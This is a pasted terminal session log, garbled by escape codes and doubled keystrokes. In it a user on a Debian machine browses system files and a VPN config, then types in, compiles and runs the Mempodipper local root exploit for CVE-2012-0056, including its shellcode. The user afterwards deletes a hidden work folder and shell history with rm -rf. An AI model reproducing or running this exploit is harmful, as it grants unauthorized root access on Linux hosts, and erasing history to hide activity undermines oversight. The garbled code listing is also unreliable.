  539. unix 2 [ ] DGRAM 6236
  540. unix 3 [ ] STREAM CONNECTED 5940
  541. unix 3 [ ] STREAM CONNECTED 5939
  542. unix 3 [ ] STREAM CONNECTED 5888
  543. unix 3 [ ] STREAM CONNECTED 5887
  544. unix 2 [ ] DGRAM 5856
  545. unix 3 [ ] DGRAM 3363
  546. unix 3 [ ] DGRAM 3362
  547. % magnesium% ggcc -v
  548. Using built-in specs.
  549. COLLECT_GCC=gcc
  550. COLLECT_LTO_WRAPPER=/usr/lib/gcc/i486-linux-gnu/4.7/lto-wrapper
  551. Target: i486-linux-gnu
  552. Configured with: ../src/configure -v --with-pkgversion='Debian 4.7.2-4' --with-bugurl=file:///usr/share/doc/gcc-4.7/README.Bugs --enable-languages=c,c++,go,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-4.7 --enable-shared --enable-linker-build-id --with-system-zlib --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --with-gxx-include-dir=/usr/include/c++/4.7 --libdir=/usr/lib --enable-nls --with-sysroot=/ --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --enable-gnu-unique-object --enable-plugin --enable-objc-gc --enable-targets=all --with-arch-32=i586 --with-tune=generic --enable-checking=release --build=i486-linux-gnu --host=i486-linux-gnu --target=i486-linux-gnu
  553. Thread model: posix
  554. gcc version 4.7.2 (Debian 4.7.2-4)
  555. % magnesium% lls
  556. % magnesium% ccd .
  557. % magnesium% ccd /
  558. % magnesium% lls
  559. bin ca.crt etc initrd.img lib media openvpn.conf proc run selinux sys usr vmlinuz
  560. boot dev home initrd.img.old lost+found mnt opt root sbin srv tmp var vmlinuz.old
  561. % magnesium% ccat ca.crt
  562. -----BEGIN CERTIFICATE-----
  563. MIIEejCCA2KgAwIBAgIJAOEj4wI9UzKTMA0GCSqGSIb3DQEBBQUAMIGEMQswCQYD
  564. VQQGEwJVUzELMAkGA1UECBMCQ0ExDDAKBgNVBAcTA0xPTDEMMAoGA1UEChMDTE9M
  565. MQwwCgYDVQQLEwNsb2wxDDAKBgNVBAMTA2xvbDEMMAoGA1UEKRMDbG9sMSIwIAYJ
  566. KoZIhvcNAQkBFhNzdGFyZmFsbEByaXNldXAubmV0MB4XDTEyMTEyNjA0MTQxMFoX
  567. DTIyMTEyNDA0MTQxMFowgYQxCzAJBgNVBAYTAlVTMQswCQYDVQQIEwJDQTEMMAoG
  568. A1UEBxMDTE9MMQwwCgYDVQQKEwNMT0wxDDAKBgNVBAsTA2xvbDEMMAoGA1UEAxMD
  569. bG9sMQwwCgYDVQQpEwNsb2wxIjAgBgkqhkiG9w0BCQEWE3N0YXJmYWxsQHJpc2V1
  570. cC5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCgstS9rflLEnb7
  571. tKw2HCJa8CtsMBrxXEL3G1yz7R+Ecqpfat4C8xeg8IIc41gaOOUEto7qixEyh0VC
  572. NpsFmNl2cgD0tia/adYKC5cQ7ov+JuEGxl6FW6MxU1Tl6YGkn3f8wNqkN0/q1QCE
  573. X0hgutbXGvZzMYWoGeJCI6ql81MVjKQ7txJLvl6S4RnzJ4T6rS30kq8QmfTMq2i0
  574. AhrUkryG9K6V0EHXol5TsgQO2ymdDsrgpbFjYQ8foY9a7crXudCEAi3UqxwE/NTe
  575. w+c9+8Wm14F+uYXLQlTw6a/tZlykB2ECTfZx+zlGXCq+eksvng0gd6ancZNIM/uZ
  576. cDEwdtJ1AgMBAAGjgewwgekwHQYDVR0OBBYEFLK3/1XKI5tP7MUt0Qavtfh073Ge
  577. MIG5BgNVHSMEgbEwga6AFLK3/1XKI5tP7MUt0Qavtfh073GeoYGKpIGHMIGEMQsw
  578. CQYDVQQGEwJVUzELMAkGA1UECBMCQ0ExDDAKBgNVBAcTA0xPTDEMMAoGA1UEChMD
  579. TE9MMQwwCgYDVQQLEwNsb2wxDDAKBgNVBAMTA2xvbDEMMAoGA1UEKRMDbG9sMSIw
  580. IAYJKoZIhvcNAQkBFhNzdGFyZmFsbEByaXNldXAubmV0ggkA4SPjAj1TMpMwDAYD
  581. VR0TBAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAlQ/uO1msqHz8js/bNxVuxvBc
  582. 8gnCTP6PrbpMsbutaaeG5NIz9oy9KXgGCnS8VFwOjzfjDXjg/l//RLgugX8XDLRl
  583. XPmDqyVksJZ7VX1zrhqDCTm4CiRcGPm7Kno23pSf2BncWXKMHvmMeMnFqaumS5Qd
  584. RvOIsF5jHBuWW+UsG7E7NAfp+5vxXUKKQvjxVuwaiLte/84IMHBOjytmbvAejkIr
  585. BrexZbd7N6kgCyjJN5yzArdo6YNzIgYO2+dkTy/Rrc+Nr/t7duent2t9++RdkJ+e
  586. oiBLcF8RYSBFy6VEEUVfd09tjgi9HTE17q9r7cmW0QNo6t1nQyblPMPGz1UOZg==
  587. -----END CERTIFICATE-----
  588. % magnesium% ccat openvpn.conf
  589. client
  590. cipher AES-256-CBC
  591. remote 199.229.249.189
  592. port 53
  593. ca ca.crt
  594. auth-user-pass
  595. dev tun
  596. proto udp
  597. nobind
  598. auth-nocache
  599. script-security 2
  600. persist-key
  601. persist-tun
  602.  
  603. comp-lzo
  604. % magnesium% llsof -P -i -n
  605. % magnesium% lsof -P -i -n  -i -i i -i 
  606. zsh: command not found: lsof-i
  607. % magnesium% lsof-i -i
  608. % magnesium% mman lsof
  609. [?1049h[?1h= LSOF(8) LSOF(8)
  610. 
  611. NAME
  612. lsof - list open files
  613. 
  614. SYNOPSIS
  615. lsof [ -?abChKlnNOPRtUvVX ] [ -A A ] [ -c c ] [ +c c ] [ +|-d d ] [ +|-D D ] [ +|-e s ] [ +|-f [cfgGn] ] [ -F [f] ]
  616. [ -g [s] ] [ -i [i] ] [ -k k ] [ +|-L [l] ] [ +|-m m ] [ +|-M ] [ -o [o] ] [ -p s ] [ +|-r [t[m<fmt>]] ] [ -s [p:s]
  617. ] [ -S [t] ] [ -T [t] ] [ -u s ] [ +|-w ] [ -x [fl] ] [ -z [z] ] [ -Z [Z] ] [ -- ] [names]
  618. 
  619. DESCRIPTION
  620. Lsof revision 4.86 lists on its standard output file information about files opened by processes for the following
  621. UNIX dialects:
  622. 
  623. Apple Darwin 9 and Mac OS X 10.[567]
  624. FreeBSD 4.9 and 6.4 for x86-based systems
  625. FreeBSD 8.2, 9.0 and 10.0 for AMD64-based systems
  626. Linux 2.1.72 and above for x86-based systems
  627. Solaris 9, 10 and 11
  628. 
  629. (See the DISTRIBUTION section of this manual page for information on how to obtain the latest lsof revision.)
  630. 
  631. An open file may be a regular file, a directory, a block special file, a character special file, an executing text
  632. reference, a library, a stream or a network file (Internet socket, NFS file or UNIX domain socket.) A specific file
  633. or all the files in a file system may be selected by path.
  634. 
  635. Instead of a formatted display, lsof will produce output that can be parsed by other programs. See the -F, option
  636. description, and the OUTPUT FOR OTHER PROGRAMS section for more information.
  637. 
  638. In addition to producing a single output list, lsof will run in repeat mode. In repeat mode it will produce output,
  639. delay, then repeat the output operation until stopped with an interrupt or quit signal. See the +|-r [t[m<fmt>]]
  640. option description for more information.
  641. 
  642. OPTIONS
  643. In the absence of any options, lsof lists all open files belonging to all active processes.
  644. 
  645. If any list request option is specified, other list requests must be specifically requested - e.g., if -U is speciā€
  646. fied for the listing of UNIX socket files, NFS files won't be listed unless -N is also specified; or if a user list
  647. is specified with the -u option, UNIX domain socket files, belonging to users not in the list, won't be listed
  648. unless the -U option is also specified.
  649. 
  650. Normally list options that are specifically stated are ORed - i.e., specifying the -i option without an address and
  651. the -ufoo option produces a listing of all network files OR files belonging to processes owned by user ``foo''. The
  652. exceptions are:
  653.  Manual page lsof(8) line 1 (press h for help or q to quit) [?1l>[?1049l% magnesium% ccd root/ 
  654. cd: permission denied: root
  655. % magnesium% lls
  656. bin ca.crt etc initrd.img lib media openvpn.conf proc run selinux sys usr vmlinuz
  657. boot dev home initrd.img.old lost+found mnt opt root sbin srv tmp var vmlinuz.old
  658. % magnesium% ccd tmp/ 
  659. % magnesium% lls
  660. hsperfdata_valcorb tmux-1000
  661. % magnesium% ccat hsperfdata_valcorb/ 
  662. cat: hsperfdata_valcorb: Permission denied
  663. % magnesium% ccd hsperfdata_valcorb/ 
  664. cd: permission denied: hsperfdata_valcorb
  665. % magnesium% lls
  666. hsperfdata_valcorb tmux-1000
  667. % magnesium% ccd ..
  668. % magnesium% lls
  669. bin ca.crt etc initrd.img lib media openvpn.conf proc run selinux sys usr vmlinuz
  670. boot dev home initrd.img.old lost+found mnt opt root sbin srv tmp var vmlinuz.old
  671. % magnesium% ccd run/ 
  672. % magnesium% lls
  673. acpid.pid console crond.reboot initramfs motd.dynamic rsyslogd.pid sshd utmp
  674. acpid.socket ConsoleKit dbus lock mount screen sshd.pid
  675. atd.pid console-kit-daemon.pid exim4 minissdpd.pid network sendsigs.omit.d tor
  676. bitlbee.pid crond.pid initctl minissdpd.sock prosody shm udev
  677. % magnesium% ccd ..
  678. % magnesium% uuname -a
  679. Linux magnesium 3.2.0-4-686-pae #1 SMP Debian 3.2.32-1 i686 GNU/Linux
  680. % magnesium% pphp -v
  681. PHP 5.4.4-10 (cli) (built: Nov 24 2012 12:48:13)
  682. Copyright (c) 1997-2012 The PHP Group
  683. Zend Engine v2.4.0, Copyright (c) 1998-2012 Zend Technologies
  684. % magnesium% vvim p  v  ccd ~
  685. % magnesium% mmkdir .bash_q
  686. % magnesium% ccd .bash_q/ 
  687. % magnesium% lls
  688. % magnesium% vvim pipe.c
  689. zsh: command not found: vim
  690. % magnesium% vvi pipe.c
  691. [?1049h[?1h=[?12;25h[?12l[?25h[?25l"pipe.c" [New File]~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ [?12l[?25h[?25li[?12l[?25h[?25l[?12l[?25h[?25l *
  692. * CVE-2012-0056 */#define _LARGEFILE64_SOURCE#define _GNU_SOURCE#include <stdio.h>#include <string.h>#include <stdlib.h>#include <sys/types.h>#include <sys/stat.h>#include <sys/socket.h>#include <sys/un.h>#include <sys/wait.h>#include <sys/types.h>#include <sys/user.h>#include <sys/ptrace.h>#include <sys/reg.h>#include <fcntl.h>#include <unistd.h>#include <limits.h>char *prog_name;int send_fd(int sock, int fd){ char buf[1]; struct iovec iov; struct msghdr msg; struct cmsghdr *cmsg; int n; char cms[CMSG_SPACE(sizeof(int))]; buf[0] = 0; iov.iov_base = buf; iov.iov_len = 1; memset(&msg, 0, sizeof msg); msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = (caddr_t)cms; msg.msg_controllen = CMSG_LEN(sizeof(int)); cmsg = CMSG[?12l[?25h[?25l}int recv_fd(int sock)
  693. {
  694. int n; int fd; char buf[1];
  695. struct iovec iov;
  696. struct msghdr msg;
  697. struct cmsghdr *cmsg;
  698. char cms[CMSG_SPACE(sizeof(int))];
  699.  iov.iov_base = buf;
  700. iov.iov_len = 1; memset(&msg, 0, sizeof msg);
  701. msg.msg_name = 0;
  702. msg.msg_namelen = 0;
  703. msg.msg_iov = &iov;
  704. msg.msg_iovlen = 1; msg.msg_control = (caddr_t)cms;
  705. msg.msg_controllen = sizeof cms;
  706.  
  707. if ((n = recvmsg(sock, &msg, 0)) < 0)
  708.  return -1; if (n == 0) return -1; cmsg = CMSG_FIRSTHDR(&msg); memmove(&fd, CMSG_DATA(cmsg), sizeof(int)); close(sock); return fd;}unsigned long ptrace_address()
  709. { int fd[2]; printf("[+] Creating ptrace pipe.\n"); pipe(fd); fcntl(fd[0], F_SETFL, O_NONBLOCK); printf("[+] Forking ptrace child.\n"); int child = fork(); if (child) [?12l[?25h[?25l { close(fd[1]); char buf; printf("[+] Waiting for ptraced child to give output on syscalls.\n"); for (;;) { wait(NULL); if (read(fd[0], &buf, 1) > 0) break; ptrace(PTRACE_SYSCALL, child, NULL, NULL); } printf("[+] Error message written. Single stepping to find address.\n"); struct user_regs_struct regs; for (;;) { ptrace(PTRACE_SINGLESTEP, child, NULL, NULL); wait(NULL); ptrace(PTRACE_GETREGS, child, NULL, &regs);
  710. #if defined(__i386__)
  711. #define instruction_pointer regs.eip
  712. #define upper_bound 0xb0000000
  713. #elif defined(__x86_64__)
  714. #define instruction_pointer regs.rip
  715. #define upper_bound 0x700000000000
  716. #else
  717. #error "That platform is not supported."
  718. #endif if (instruction_pointer < upper_bound) { unsigned long instruction = ptrace(PTRACE_PEEKTEXT, child, instruction_pointer, NULL); if ((instruction & 0xffff) == 0x25ff /* jmp r/m32 */) return instruction_pointer; } } } else { printf("[+] Ptrace_traceme'ing process.\n"); if (ptrace(PTRACE_TRACEME,[?12l[?25h[?25l 0, NULL, NULL) < 0) { perror("[-] ptrace"); return 0; } close(fd[0]); dup2(fd[1], 2); execl("/bin/su", "su", "not-a-valid-user", NULL); } return 0;
  719. }
  720.  
  721. unsigned long objdump_address()
  722. { FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'",, "r"); if (!command) { perror("[-] popen"); return 0; } char result[32]; fgets(result, 32, command); pclose(command); return strtoul(result, NULL, 16);
  723. }
  724.  
  725. unsigned long find_address()
  726. { printf("[+] Ptracing su to find next instruction without reading binary.\n"); unsigned long address = ptrace_address(); if (!address) { printf("[-] Ptrace failed.\n"); printf("[+] Reading su binary with objdump to find exit@plt.\n"); address = objdump_address(); if (address == ULONG_MAX || !address) { printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n"); printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", prog_name, prog_name); e[?12l[?25h[?25l printf("[+] Resolved call address to 0x%lx.\n", address); return address;}int su_padding(){ printf("[+] Calculating su padding.\n"); FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r"); if (!command) { perror("[-] popen"); exit(1); } char result[256]; fgets(result, 256, command); pclose(command); strstr(result, "this-user-does-not-exist") - result;
  727.  
  728.  
  729. int child(int sock) char parent_mem[256]; sprintf(parent_mem, "/proc/%d/mem", getppid()); printf("[+] Opening parent mem %s in child.\n", parent_mem); int fd = open(parent_mem, O_RDWR); if (fd < 0) { perror("[-] open"); return 1; }printf("[+] Sending fd %d to parent.\n", fd); send_fd(sock, fd); return 0;
  730. }int parent(unsigned long address)
  731. { int sockets[2]; printf("[+] Opening socketpair.\n"); if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {perror("[-] socketpair"); return 1; } if (fork()) { printf("[+] Waiting for transferred fd in parent.\n"); int fd = recv_fd(sock[?12l[?25h[?25lkets[1]); printf("[+] Received fd at %d.\n", fd); if (fd < 0) { perror("[-] recv_fd"); return 1; } printf("[+] Assigning fd %d to stderr.\n", fd); dup2(2, 15); dup2(fd, 2); unsigned long offset = address - su_padding(); printf("[+] Seeking to offset 0x%lx.\n", offset); lseek64(fd, offset, SEEK_SET);
  732.  
  733. #if defined(__i386__) // See shellcode-32.s in this package for the source. char shellcode[] = "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3" "\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89" "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd" "\x80";
  734. #elif defined(__x86_64__) // See shellcode-64.s in this package for the source. char shellcode[] = "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48" "\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f" "\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7" "\x48\x31\xdb\x6[?12l[?25h[?25l66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50" "\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
  735. #else
  736. #error "That platform is not supported."
  737. #endif printf("[+] Executing su with shellcode.\n"); execl("/bin/su", "su", shellcode, NULL); } else { char sock[32]; sprintf(sock, "%d", sockets[0]); printf("[+] Executing child from child fork.\n"); execl("/proc/self/exe", prog_name, "-c", sock, NULL); } return 0;
  738. }
  739.  
  740. int main(int argc, char **argv)
  741. { prog_name = argv[0]; if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') return child(atoi(argv[2])); printf("===============================\n"); printf("= Mempodipper =\n"); printf("= by zx2c4 =\n"); printf("= Jan 21, 2012 =\n"); printf("===============================\n\n"); if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o') return parent(strtoul(argv[2], NULL, 16)); else return parent(find_address());
  742.  
  743. }[?12l[?25h[?25l
  744. :[?12l[?25hwq [?25l"pipe.c" [New File] 287 lines, 7093 characters written
  745. [?1l>[?12l[?25h[?1049l% magnesium% ggcc pipe.c  -O piper
  746. gcc: error: piper: No such file or directory
  747. % magnesium% gcc pipe.c -O piper       
  748. % magnesium% lls
  749. a.out pipe.c
  750. % magnesium% ../.  ccjm c chmod 777 a.out  
  751. % magnesium% ../a.out  
  752. ===============================
  753. = Mempodipper =
  754. = by zx2c4 =
  755. = Jan 21, 2012 =
  756. ===============================
  757.  
  758. [+] Ptracing su to find next instruction without reading binary.
  759. [+] Creating ptrace pipe.
  760. [+] Forking ptrace child.
  761. [+] Waiting for ptraced child to give output on syscalls.
  762. [+] Ptrace_traceme'ing process.
  763. [+] Error message written. Single stepping to find address.
  764. [+] Resolved call address to 0x8049a50.
  765. [+] Opening socketpair.
  766. [+] Waiting for transferred fd in parent.
  767. [+] Executing child from child fork.
  768. [+] Opening parent mem /proc/21209/mem in child.
  769. [+] Sending fd 6 to parent.
  770. [+] Received fd at 6.
  771. [+] Assigning fd 6 to stderr.
  772. [+] Calculating su padding.
  773. [+] Seeking to offset 0x8049a36.
  774. [+] Executing su with shellcode.
  775. ^C
  776. % magnesium% lls
  777. a.out pipe.c
  778. % magnesium% ls./a.out
  779. I'm gay
  780. % magnesium% LLOL
  781. zsh: command not found: LOL
  782. % magnesium% ccat a.out  
  783. #!/bin/bash
  784. echo "I'm gay"
  785. % magnesium% llsl  ccd ..
  786. % magnesium% lls
  787. % magnesium% lls -la
  788. total 72
  789. drwxr-xr-x 3 mmaton mmaton 4096 Jan 9 21:58 .
  790. drwxr-xr-x 36 root root 4096 Jan 9 21:20 ..
  791. -rw------- 1 mmaton mmaton 16 Jan 9 21:42 .bash_history
  792. -rw-r--r-- 1 mmaton mmaton 220 Jan 9 21:20 .bash_logout
  793. drwx------ 2 mmaton mmaton 4096 Jan 9 21:59 .bash_q
  794. -rw-r--r-- 1 mmaton mmaton 3544 Jan 9 21:43 .bashrc
  795. -rw-r--r-- 1 mmaton mmaton 675 Jan 9 21:20 .profile
  796. -rw------- 1 mmaton mmaton 33960 Jan 9 21:44 .zcompdump
  797. -rw------- 1 mmaton mmaton 5 Jan 9 21:44 .zsh_history
  798. -rw------- 1 mmaton mmaton 1295 Jan 9 21:44 .zshrc
  799. % magnesium% rrm -rf .bash
  800. .bash_history .bash_logout .bash_q/ .bashrc rm -rf .bash) _q/ 
  801. % magnesium% lls
  802. % magnesium% llogout
  803. logout: not login shell
  804. %